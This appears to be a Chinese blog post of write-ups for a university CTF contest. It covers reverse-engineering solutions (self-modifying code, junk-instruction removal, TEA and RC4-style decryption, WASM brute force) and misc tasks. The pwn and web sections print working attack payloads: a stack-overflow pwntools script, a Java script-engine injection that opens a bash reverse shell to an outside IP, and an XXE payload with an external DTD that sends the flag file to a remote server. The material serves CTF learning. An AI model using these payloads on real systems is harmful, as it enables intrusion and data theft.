第十九届科技文化节-网络安全方向题解

紧张刺激的比赛,逆向部分题解写的很详细,供参考

周三 4月 30 2025
5317 字 · 31 分钟

Reverse

逆向部分题解比较详细,方便大家参考。

signin

签到题。

直接动态调试在字符串比较打断点。

image-20250429125001961

不过

PLAINTEXT
DUTCTF{r3v3R53_1$_\\/3ry_f(_)n&ea5y!}

并不是正确答案。

尝试输入上述flag,发现数据变成了image-20250429125154079

多了一个\,可以发现是因为程序对输入数据加了一个转义符,也就是说正确flag是

PLAINTEXT
DUTCTF{r3v3R53_1$_\/3ry_f(_)n&ea5y!}

weather?

先定位到主函数

C
fgets(Buffer, 256, v2);
  v8 = strcspn(Buffer, "\n");
  if ( v8 >= 0x100 )
    sub_7FF764FC12CB();
  Buffer[v8] = 0;
  sub_7FF764FC128A(Buffer, (__int64)v6);
  sub_7FF764FC12B2(Buffer);
  system("pause");
  sub_7FF764FC1334(v4, &unk_7FF764FCD0F0);

输入数据在Buffer中,sub_7FF764FC12CB是保护程序的,不用管。

C
  v7[v9++] = off_7FF797160000[0][(v11 >> 2) & 0x3F];
    v7[v9++] = off_7FF797160000[0][((unsigned __int8)(v12 >> 4) | (unsigned __int8)(16 * v11)) & 0x3F];
    v7[v9++] = off_7FF797160000[0][((unsigned __int8)(v13 >> 6) | (unsigned __int8)(4 * v12)) & 0x3F];
    v7[v9++] = off_7FF797160000[0][v13 & 0x3F];
  }
  v16 = v9;
  if ( (unsigned __int64)v9 >= 0x80 )
    sub_7FF7971512CB();
  v7[v16] = 0;
  for ( k = 0; k < v9; ++k )
  {
    v7[k] -= 3;
    v7[k] ^= 0x12u;
  }
  for ( m = 0; m < v9; ++m )
    sub_7FF79715121C(2 * m + a2, 3i64, "%02X", (unsigned __int8)v7[m]);

后边可以看到sub_7FF764FC128A函数进行了base64编码之后-3异或0x12转成了hex。

直接提取base64表跟hex数据还原。

恢复base64:

PYTHON
def decrypt(hex_str):
    cipher_bytes = bytes.fromhex(hex_str)
    recovered_bytes = bytes(((b ^ 0x12) + 3) & 0xFF for b in cipher_bytes)
    recovered_base64 = recovered_bytes.decode('utf-8')
    print("恢复的Base64是:", recovered_base64)
hex_string = "5E52425D593C5E534D2244746775707067505A724C5324774140747265405A725C43247D4653522072594545"
decrypt(hex_string)
#恢复的Base64是: OCSRN1ODb3YixjeexEKcaD9hVUiczUKcQT9rWDC5cNZZ

image-20250429130454707

PLAINTEXT
DUTCTF{perhaps_today_is_Monday}

假的flag,但是输入假的flag继续调试可以直接看见明文

C
 strcpy(v5, "You are right, and what's the flag on earth now?\n");
  strcpy(v6, "Congrats! Correct.\n");
  strcpy(v7, "Wrong.\n");
  strcpy(Str2, "DUTCTF{sunny_and_secret}");
PLAINTEXT
DUTCTF{sunny_and_secret}

注:事实上不需要解出假的flag,只需要一直调试进入sub_7FF79715A005函数就可以拿到flag,比对实际上在这个函数里进行。

为什么找不到这个函数的交叉引用

image-20250429153123548

你会发现这个函数找不到什么地方被调用了。

如果你在静态状态看这个地址的话,你会发现这个函数变成了一堆数据

image-20250429153514485

在Options->General

image-20250429154749142

将这个改为10,可以看到

image-20250429154852145

这里显示的字节码跟上面的数据不一样,也就是程序在运行过程中进行了动态修改(SMC)。

可参考Self-Modified Code - CTF Wiki学习。

在哪里进行的解密

可以在数据下一个断点,看看哪里数据被写入修改了。

C
__int64 __fastcall sub_7FF797151C50(__int64 a1, unsigned int a2, char a3)
{
  __int64 result; // rax
  int i; // [rsp+24h] [rbp+4h]

  sub_7FF79715139D(&unk_7FF7971650A2);
  for ( i = 0; ; ++i )
  {
    result = a2;
    if ( i >= (int)a2 )
      break;
    *(_BYTE *)(a1 + i) ^= a3;
  }
  return result;
}

发现是这里,一层一层向上寻找发现似乎是主函数中

C
sub_7FF797151280();

这句调用了。动态调试发现a3是固定值为3。

可以验证一下:

以A007这个地址为例,原始数据0x4B,异或3,得到0x48,正好对应动态调试结果。故可以分析出程序在运行时这个函数区域异或了3。

MAZE

flag即为路径,由ABC组成。

A代表向上走,B代表向下走,C不动。程序每次都向右走一列。

得分是当前位置对应随机数生成的数组里对应元素的和。

随机数种子可以通过查看汇编得知为0x3CAC。

PLAINTEXT
.text:00007FF63B6E1482                 mov     [rbp+var_C], 3CACh
.text:00007FF63B6E1489                 mov     eax, [rbp+var_C]
.text:00007FF63B6E148C                 mov     ecx, eax
.text:00007FF63B6E148E                 call    srand

解密脚本


#include 
#include  // 包含 rand() 和 srand()
#include  // 包含 LLONG_MIN
#include  // 包含 memset
// 定义迷宫尺寸
#define MAX_COL 50 // 最大列号
#define MAX_ROW 50 // 最大行号 (根据生成代码 j <= i <= 50,最大行号不会超过 50)
// 存储迷宫得分值的二维数组
// 使用 MAX_COL+1 和 MAX_ROW+1 大小,方便使用 1-based 索引 [1..50][1..50]
int maze_values[MAX_COL + 1][MAX_ROW + 1];
// 动态规划表:dp[c][r] 存储到达 (列 c, 行 r) 的最大累积得分 (不含初始值)
// 使用 long long 防止得分溢出
long long dp[MAX_COL + 1][MAX_ROW + 1];
// 父移动记录表:parent_move[c][r] 存储到达 (列 c, 行 r) 所需的前一步移动 ('A', 'B', 'C')
char parent_move[MAX_COL + 1][MAX_ROW + 1];
int main() {
	// 1. 生成迷宫得分数据
	// 使用与 C++ 代码相同的种子
	srand(0x3CAC);
	// 按照生成代码的逻辑填充 maze_values 数组
	for (int i = 1; i <= MAX_COL; ++i) { // 列从 1 到 50
		for (int j = 1; j <= i; ++j) { // 行从 1 到 当前列号 i
			maze_values[i][j] = rand() % 19492025;
		}
	}
	// 2. 初始化动态规划表
	// 将 dp 表所有值初始化为一个很小的数,表示不可达
	// memset(dp, 0x80, sizeof(dp)); // 一种快速填充 LLONG_MIN 的方法,依赖于 LLONG_MIN 的表示
	// 或者使用循环初始化,更安全可靠
	for (int i = 0; i <= MAX_COL; ++i) {
		for (int j = 0; j <= MAX_ROW; ++j) {
			dp[i][j] = LLONG_MIN;
			parent_move[i][j] = '\0'; // 初始化移动记录
		}
	}
	// 3. Base cases: 从 (1,1) 移动到第 2 列
	int start_row = 1;
	int c2 = 2; // 第一步到达第 2 列
	// 从 (1,1) 移动 'B' 到 (2,2)
	int r2_B = start_row + 1; // 新行号 2
	int prev_r_B = start_row; // 前一行号 1
	// 检查前一位置 (c2-1, prev_r_B) 即 (1, 1) 是否在生成范围内 (1 <= prev_r <= c-1) 且当前位置 (c2, r2_B) 行号有效 (>= 1) 且在生成范围内 (1 <= r <= c)
	if (prev_r_B >= 1 && prev_r_B <= c2 - 1 && r2_B >= 1 && r2_B <= c2) {
		dp[c2][r2_B] = maze_values[c2][r2_B];
		parent_move[c2][r2_B] = 'B';
	}
	// 从 (1,1) 移动 'C' 到 (2,1)
	int r2_C = start_row; // 新行号 1
	int prev_r_C = start_row; // 前一行号 1
	// 检查前一位置 (c2-1, prev_r_C) 即 (1, 1) 是否在生成范围内 (1 <= prev_r <= c-1) 且当前位置 (c2, r2_C) 行号有效 (>= 1) 且在生成范围内 (1 <= r <= c)
	if (prev_r_C >= 1 && prev_r_C <= c2 - 1 && r2_C >= 1 && r2_C <= c2) {
		// 对于第一列,只有一种方式到达某个有效格子,直接赋值即可
		dp[c2][r2_C] = maze_values[c2][r2_C];
		parent_move[c2][r2_C] = 'C';
	}
	// 从 (1,1) 移动 'A' 到 (2,0),行号 0 无效,不处理
	// 4. 动态规划转移
	// 从第 3 列开始,到第 50 列
	for (int c = 3; c <= MAX_COL; ++c) {
		// 在列 c,行号 r 可能从 1 到 c (根据生成范围 1<=j<=i 和行走时行号的变化推断)
		for (int r = 1; r <= c; ++r) {
			// 如果当前位置 (c, r) 在迷宫数据生成范围内 (1 <= r <= c)
			// 注意:根据生成代码,只有这个范围内有非零值,其他位置可能为 0 或其他初始值
			// 伪代码直接使用了索引,我们假设未生成的位置得分是 0 或者 DP 不会通过这些位置过来
			// 这里假设我们只关心生成范围内的分数,或者未生成的位置分数是 0
			// 如果未生成位置得分是 0,当前格子得分 current_val 就是 maze_values[c][r]
			// 如果是 0,则需要在生成时确保这些位置初始化为 0
			// 我们的 maze_values 初始化为 0 了,但 DP 状态 LLONG_MIN 处理了不可达
			int current_val = maze_values[c][r]; // 当前格子 (c, r) 的得分值
			// 考虑从前一列 c-1 如何到达当前位置 (c, r)
			// 1. 通过 'A' 移动到达 (c, r)
			// 前一位置是 (c-1, r+1)
			int prev_r_A = r + 1;
			// 检查前一位置 (c-1, prev_r_A) 的行号是否有效 (>= 1) 且在前一列 c-1 的生成范围内 (<= c-1)
			if (prev_r_A >= 1 && prev_r_A <= c - 1) {
				// 检查前一位置 (c-1, prev_r_A) 是否可达 (DP 值不是初始的 LLONG_MIN)
				if (dp[c-1][prev_r_A] != LLONG_MIN) {
					long long potential_score = dp[c-1][prev_r_A] + current_val;
					// 检查当前位置 (c, r) 的行号是否有效 (>= 1) - r 从 1 开始,总是满足
					if (potential_score > dp[c][r]) {
						dp[c][r] = potential_score;
						parent_move[c][r] = 'A';
					}
				}
			}
			// 2. 通过 'B' 移动到达 (c, r)
			// 前一位置是 (c-1, r-1)
			int prev_r_B = r - 1;
			// 检查前一位置 (c-1, prev_r_B) 的行号是否有效 (>= 1) 且在前一列 c-1 的生成范围内 (<= c-1)
			if (prev_r_B >= 1 && prev_r_B <= c - 1) {
				// 检查前一位置是否可达
				if (dp[c-1][prev_r_B] != LLONG_MIN) {
					long long potential_score = dp[c-1][prev_r_B] + current_val;
					// 检查当前位置 (c, r) 的行号是否有效 (>= 1)
					if (potential_score > dp[c][r]) {
						dp[c][r] = potential_score;
						parent_move[c][r] = 'B';
					}
				}
			}
			// 3. 通过 'C' 移动到达 (c, r)
			// 前一位置是 (c-1, r)
			int prev_r_C = r;
			// 检查前一位置 (c-1, prev_r_C) 的行号是否有效 (>= 1) 且在前一列 c-1 的生成范围内 (<= c-1)
			if (prev_r_C >= 1 && prev_r_C <= c - 1) {
				// 检查前一位置是否可达
				if (dp[c-1][prev_r_C] != LLONG_MIN) {
					long long potential_score = dp[c-1][prev_r_C] + current_val;
					// 检查当前位置 (c, r) 的行号是否有效 (>= 1)
					if (potential_score > dp[c][r]) {
						dp[c][r] = potential_score;
						parent_move[c][r] = 'C';
					}
				}
			}
		}
	}
	// 5. 找到第 50 列 (MAX_COL) 的最大得分和对应的结束行号
	long long max_score = LLONG_MIN;
	int end_row = -1;
	for (int r = 1; r <= MAX_ROW; ++r) { // 在第 50 列,可能的行号从 1 到 50
		if (dp[MAX_COL][r] != LLONG_MIN && dp[MAX_COL][r] > max_score) {
			max_score = dp[MAX_COL][r];
			end_row = r;
		}
	}
	// 检查是否找到了有效的路径终点
	if (end_row == -1) {
		printf("错误:无法到达迷宫的终点 (第 %d 列)。\n", MAX_COL);
		return 1;
	}
	// 6. 回溯路径
	char path[MAX_COL]; // 路径长度是 49 步 (从列 2 到列 50)
	int path_index = MAX_COL - 2; // 路径数组索引从 0 到 48,从后往前填充
	int current_c = MAX_COL; // 从终点列开始回溯
	int current_r = end_row; // 从终点行开始回溯
	// 回溯 49 步,从第 50 列回到第 2 列
	while (current_c > 1) {
		char move = parent_move[current_c][current_r];
		path[path_index--] = move; // 将当前步的移动加到路径前面
		// 根据移动反向计算前一步的行号
		if (move == 'A') {
			current_r += 1; // 如果当前位置是通过 'A' (上移) 到达的,那么前一步在当前行的下一行
		} else if (move == 'B') {
			current_r -= 1; // 如果当前位置是通过 'B' (下移) 到达的,那么前一步在当前行的上一行
		}
		// 如果 move 是 'C' (不动),则前一步在同一行 (current_r 不变)
		current_c -= 1; // 回溯到前一列
	}
	path[MAX_COL - 1] = '\0'; // 路径字符串以 null 终止
	// 7. 输出结果
	printf("最大累积迷宫得分 (不含初始值): %lld\n", max_score);
	printf("最优路径 (Flag 内容): %s\n", path);
	printf("路径长度: %zu\n", strlen(path)); // 验证路径长度是否为 49
	return 0;
}

tulip

去除花指令

去除花指令,shift+F12根据字符串定位到主函数。

建议网上搜搜花指令的视频看,有的文字教程过于潦草了,可能难以理解。

然后注意总结一下不同类型的花指令,下文简单说了jz+jnz类型的。

稍微了解一下汇编,对理解花指令有很大帮助。

image-20250430220059343

这里存在一个花指令。jz+jnz组合实际上必定跳转到F+1的位置,所以其实从06B-06F都没用,选中这几行右键nop掉。还有一个小点注意一下

image-20250430220407138

你需要先按D转换成data类型再nop,因为ida把06F和070合在一起看了,需要d转换成data,nop掉,再按c转成codeimage-20250430220540787

然后又出来个这么个玩意,继续处理以此类推。nop完之后选在函数头按p重新分析。

此外,我之前在网上还发现了一个小插件,NoMoreFlower,能去除简单的花指令。

image-20250430221305138

解密

解密就相当简单了,发现函数sub_AD48D0其实就是TEA加密。

提出来密文,然后解密就行。

PYTHON
import struct
DELTA = 1131796 # 0x114514
ROUNDS = 32
def decrypt_block(data_block, key):
    # 将数据块解析为两个 32 位无符号整数 (小端序)
    v4, v3 = struct.unpack('<II', data_block)
    # 将密钥解析为四个 32 位无符号整数 (小端序)
    k0, k1, k2, k3 = struct.unpack('<IIII', key)
    v6 = DELTA * ROUNDS
    for i in range(ROUNDS):
        mask = 0xFFFFFFFF
        term3 = (k3 + (v4 >> 5)) & mask
        term2 = (v6 + v4) & mask
        term1 = (k2 + (v4 << 4)) & mask
        v3 = (v3 - (term3 ^ term2 ^ term1)) & mask
        term3 = (k1 + (v3 >> 5)) & mask
        term2 = (v6 + v3) & mask
        term1 = (k0 + (v3 << 4)) & mask
        v4 = (v4 - (term3 ^ term2 ^ term1)) & mask
        v6 = (v6 - DELTA) & mask
    return struct.pack('<II', v4, v3)
v8_list = [
    287454020,
    1432778632,
    (-1716864052) & 0xFFFFFFFF, # 转换为无符号 32 位
    (-571539695) & 0xFFFFFFFF   # 转换为无符号 32 位
]
key_bytes = struct.pack('<IIII', *v8_list)
v7_list = [
    849219247, 1782154081, 839590394, 570472433, 772302708, 1961553718,
    (-386987485) & 0xFFFFFFFF, (-1345016732) & 0xFFFFFFFF, (-1829160445) & 0xFFFFFFFF,
    (-1283810305) & 0xFFFFFFFF, 1022169708, (-169867983) & 0xFFFFFFFF
]
encrypted_data_bytes = struct.pack('<IIIIIIIIIIII', *v7_list)
decrypted_flag_bytes = b''
for i in range(0, len(encrypted_data_bytes), 8):
    block_to_decrypt = encrypted_data_bytes[i : i + 8]
    decrypted_block = decrypt_block(block_to_decrypt, key_bytes)
    decrypted_flag_bytes += decrypted_block
print("\n解密 v7 获得 Flag:")
print(f"解密后的 Flag (bytes): {decrypted_flag_bytes.hex()}")
print(f"解密后的 Flag (尝试 ASCII): {decrypted_flag_bytes}")

WoAiShiinaMahiru

WASM题目,非常简单。

使用命令

PLAINTEXT
wasm-objdump -x 1.wasm

即可查看Data。

image-20250429161005098

这是一个标准的base64,很快得到答案。不需要逆向分析。

real_WoAiShiinaMahiru

这是上一题的升级版,网上搜索WASM调试,先安装一个浏览器插件

C/C++ DevTools Support (DWARF) - Chrome 应用商店

然后开始打断点调试。

简单分析可知flag长度为44,先输入44个0试试。监控一下内存变化。

经过反复测试,loop $label0是在对加密后的flag进行比对。

image-20250429161757191

在这里断住,看内存image-20250429161859904

结合代码和调试得知,这页先存的是一堆0,即为输入原文,然后是原文加密后的数据,然后是比对的密文。

将源码给AI分析其实可以看出来这里是一个变种的RC4。

到这里,思路就比较清楚了,可以爆破,也可以直接计算出来明文。

法1:爆破

核心在于逐位更改输入,跟密文比对。这就需要用编程方法获取内存中数据。

查找资料发现以下代码可以读取内存:

JAVASCRIPT
const offset = ptr + 0x30;
const length = 44;
const memoryData = readWasmMemory(offset, length);
console.log(`读取到 (ptr + 0x30) 开始的内存:`, memoryData);

代码如下

JS代码

import init from './WoAiShiinaMahiru.js';
async function main() {
    const wasm = await init();
    const { check_flag, alloc, memory } = wasm;
    function readWasmMemory(offset, length) {
        const memview = new Uint8Array(memory.buffer);
        // 使用 slice 创建一个副本,避免原始 buffer 被意外修改影响结果
        const data = memview.slice(offset, offset + length);
        return data;
    }
    async function attemptFlag(flag) {
        const encoded = new TextEncoder().encode(flag);
        const ptr = alloc(encoded.length);
        new Uint8Array(memory.buffer, ptr, encoded.length).set(encoded);
        // 调用 check_flag,注意:这里我们没有使用它的返回值,假设逻辑依赖于内存比较
        check_flag(ptr, encoded.length); // 忽略返回值 result
        // 定义偏移量和长度 (与原代码保持一致)
        const encryptedOffset = ptr + 0x30;
        const compareOffset = ptr + 0x60;
        const length = 44; // 假设 flag 长度和比较长度都是 44
        // 从 WASM 内存读取数据
        // !! 注意:读取操作应该在 check_flag 执行后进行
        const encryptedData = readWasmMemory(encryptedOffset, length);
        const compareData = readWasmMemory(compareOffset, length);
        // 注意:WASM 的内存管理,理论上 alloc 的内存在使用后可能需要 dealloc,
        // 但在这个爆破场景下,每次调用 alloc 可能问题不大,除非内存泄漏严重。
        // 如果 WASM 提供了 free/dealloc 函数,最好在读取完数据后调用。
        // 返回读取到的数据,注意原代码返回的 result 被忽略了
        return { encryptedData, compareData };
    }
    async function bruteForceFlag() {
        const flagLength = 44; // 假设 flag 长度为 44
        let currentFlag = "";
        // 确保字符集包含 flag 可能的所有字符
        const possibleChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-"; // 扩展字符集以防万一
        document.getElementById("result").textContent = "开始自动爆破...";
        for (let i = 0; i < flagLength; i++) {
            let foundChar = null;
            for (const char of possibleChars) {
                // 构造测试 flag: 当前已知部分 + 测试字符 + 填充 (使用 'A' 或其他字符)
                const testFlag = currentFlag + char + "A".repeat(flagLength - currentFlag.length - 1);
                const { encryptedData, compareData } = await attemptFlag(testFlag);
                // --- 修改后的比较逻辑 ---
                let match = true;
                // 只比较到当前尝试的字符位置 i (包含 i)
                // 同时检查索引是否越界
                if (i < encryptedData.length && i < compareData.length) {
                    for (let j = 0; j <= i; j++) {
                        if (encryptedData[j] !== compareData[j]) {
                            match = false;
                            break;
                        }
                    }
                } else {
                    console.error(`错误:尝试比较的索引 ${i} 超出了获取数据的长度 (${encryptedData.length}, ${compareData.length})`);
                    match = false; // 无法比较,认为不匹配
                }
                // --- 比较逻辑结束 ---
                if (match) {
                    currentFlag += char;
                    foundChar = char;
                    console.log(`找到第 ${i + 1} 位: ${char}, 当前 Flag: ${currentFlag}`);
                    document.getElementById("result").textContent = `正在爆破... (${currentFlag.length}/${flagLength}) ${currentFlag}`;
                    break; // 找到当前位置的字符,跳出内层循环
                }
            } // 内层循环结束 (尝试所有字符)
            if (!foundChar) {
                console.log(`爆破失败,在位置 ${i} 无法找到匹配的字符。`);
                document.getElementById("result").textContent = `❌ 爆破失败,在位置 ${i} 无法找到匹配字符。当前进度: ${currentFlag}`;
                return; // 终止爆破
            }
        } // 外层循环结束 (遍历所有位置)
        if (currentFlag.length === flagLength) {
            console.log("🎉 爆破成功!Flag 为:", currentFlag);
            // 最后用完整的 flag 验证一次 (可选,但建议)
            const finalAttempt = await attemptFlag(currentFlag);
            let finalMatch = true;
            if (flagLength <= finalAttempt.encryptedData.length && flagLength <= finalAttempt.compareData.length) {
                 for (let j = 0; j < flagLength; j++) {
                    if (finalAttempt.encryptedData[j] !== finalAttempt.compareData[j]) {
                        finalMatch = false;
                        break;
                    }
                 }
            } else {
                finalMatch = false; // 长度不足
            }
            if (finalMatch) {
                 document.getElementById("result").textContent = `🎉 爆破成功!Flag 为: ${currentFlag}`;
            } else {
                 document.getElementById("result").textContent = `🤔 爆破完成,但最终验证失败?Flag 可能为: ${currentFlag}`;
                 console.warn("爆破声称成功,但最终验证时内存比较不完全匹配。");
            }
        } else {
            // 理论上如果中间没有 return,这里不应该执行
            document.getElementById("result").textContent = "❌ 爆破未完成,但循环结束了?";
        }
    }
    document.getElementById("verifyButton").addEventListener("click", async () => {
        const verifyButton = document.getElementById("verifyButton");
        const resultDiv = document.getElementById("result"); // 获取显示结果的元素
        verifyButton.disabled = true;
        verifyButton.textContent = "爆破中...";
        resultDiv.textContent = "初始化 Wasm 并准备爆破..."; // 初始提示
        try {
            await bruteForceFlag(); // 执行爆破
        } catch (error) {
            console.error("爆破过程中发生错误:", error);
            resultDiv.textContent = `❌ 爆破过程中发生错误: ${error.message}`;
        } finally {
            // 无论成功、失败或出错,都重新启用按钮
            verifyButton.disabled = false;
            verifyButton.textContent = "开始验证";
        }
    });
}
// 调用 main 函数启动逻辑
main().catch(err => {
    console.error("初始化或执行 main 函数时出错:", err);
    // 可以在页面上显示错误信息
    const resultDiv = document.getElementById("result");
    if (resultDiv) {
        resultDiv.textContent = `❌ 初始化失败: ${err.message}`;
    }
});
用这个替换main.js,点击按钮即可爆破

image-20250429162431584

法2:动态调试

把输入44个0的加密弄下来记为enc1,对比密文弄下来ans。

其实flag就是enc1每位异或0x30(0的ASCII)然后异或ans每位。

原因请参考RC4加密流程。

PYTHON
enc1 = [92, 167, 143, 28, 191, 33, 18, 99, 99, 76, 192, 9, 249, 152, 157, 240, 225, 216, 101, 233, 100, 60, 232, 110, 152, 187, 16, 137, 51, 167, 6, 54, 216, 4, 25, 93, 145, 166, 123, 216, 101, 116, 184, 166]
ans = [40, 194, 235, 111, 219, 87, 89, 101, 107, 76, 146, 13, 255, 202, 152, 237, 227, 139, 48, 186, 121, 52, 232, 110, 205, 166, 25, 136, 49, 175, 27, 52, 217, 1, 24, 8, 195, 162, 127, 139, 54, 34, 191, 235]
for i in range(len(ans)):
    print(chr(ans[i]^enc1[i]^0x30), end="")
 #DUTCTF{680b46b5-2cec-800e-9128-2151eb44ccf7}

逆向题目的题解就到这里了

MISC

Signin

W栅栏密码。

PLAINTEXT
DUTCTF{W31c0mE_TO_2o2s_DuTCTf_DuTEr5!}

特定低手

谷歌识图。

找到一个网站image-20250429164549782

很像,谷歌地图搜搜这个药店,附近的建筑。然后得出结果。

1710032

Terminal

里面/tmp有个文件whatisthis,查看发现会以root权限执行ps命令,

建立一个脚本,名字叫ps,然后内容设成ls /root,发现flag压缩包,取出来,然后得到flag。

Pwn

minesweeper

read_int 函数的核心在于,它从标准输入一次性读入了 0x10(16)字节的数据到一个只有 4 字节空间的缓冲区 buf 中,造成了典型的栈上缓冲区溢出漏洞:

C
unsigned int buf;          // 4 字节缓冲区,在栈上 [rbp-4]
  read(0, &buf, 0x10uLL);     // 不校验长度,直接读入 16 字节
  return buf;
PYTHON
from pwn import *

context (os = 'linux',arch = 'amd64' , log_level='debug')

#p = process('./sweeper')
p = remote('210.30.97.133',10167)

p.sendline('3')
p.sendline('3')
p.sendline('3')
payload1 = b'a'*12 + b'\x46'
p.send(payload1)

p.interactive()

kernel_master

根据提示,是ACTF的非预期解。找到原来的脚本修改一下。

PYTHON
#!/usr/bin/env python3
"""
@File   : exp.py
@Author : ckyan
@Date   : 2025-04-26 17:39:22
"""

"""
GitHub:
    https://github.com/c0mentropy/ckyan.pwnScript
Help:
    python3 exp.py --help
    python3 exp.py debug --help
    python3 exp.py remote --help
Local:
    python3 exp.py debug --file ./pwn
Remote:
    python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
    python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
"""

"""
Usage:
    python3 exp.py re -u "61.147.171.105 54595"
"""

from ckyan.pwnScript import *

def exp():
    pandora_box.init_script()

    elf = pandora_box.elf
    libc = pandora_box.libc
    p = pandora_box.conn

    sla("/ $ ", "mv bin a")
    sla("/ $ ", "/a/busybox mkdir bin")
    sla("/ $ ", "echo '/a/busybox cat /flag' > /bin/poweroff")
    sla("/ $ ", "/a/busybox chmod 777 /bin/poweroff")
    sla("/ $ ", "exit")

    pattern_flag_from_data(b"flag", ra(timeout=2))

exp()

image-20250430230033831

WEB

Real_E2_J5!

在validate里多传一个参数 “adminSecret”: “pwned”,然后http://<目标>/admin?secret=pwned就可以拿到flag。

Editor

反弹shell。

先看源代码登陆一下admin密码8个6.

然后editor这里POST,payload为:

JSON
{
  "name": "javascript",
  "script": "var aa = new java.beans.Customizer { setObject: eval }; aa.object = \"java.lang.Runtime.getRuntime\\50\\51.exec\\50'bash -c $@|bash 0 echo bash -i >& /dev/tcp/101.200.148.158/9999 0>&1'\\51\";"
}

一开始怎么也不行,后来发现是我自己服务器有点问题反弹不过去()

Real_upload?

思路大概是上传一个name.xml,然后文件名设成../../../../../tmp/name.xml,让他传到指定位置,然后访问/hello触发xml解析,读取flag,把flag外带出去。

PLAINTEXT
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [

    <!ENTITY % d SYSTEM "file:///flag">  <!ENTITY % external_dtd SYSTEM "http://4.216.216.238:80/exfil.dtd"> %external_dtd;

    %c;  ]>

<data>TriggerPayload</data>

服务器端的如下:

PLAINTEXT
<!ENTITY % file_content "%d;">
<!ENTITY % send_data "<!ENTITY &#x25; exfiltrate SYSTEM 'http://4.216.216.238:8000/?data=%file_content;'>">
%send_data;
%exfiltrate;

然后开个server收flag就行。


Thanks for reading!

第十九届科技文化节-网络安全方向题解

周三 4月 30 2025
5317 字 · 31 分钟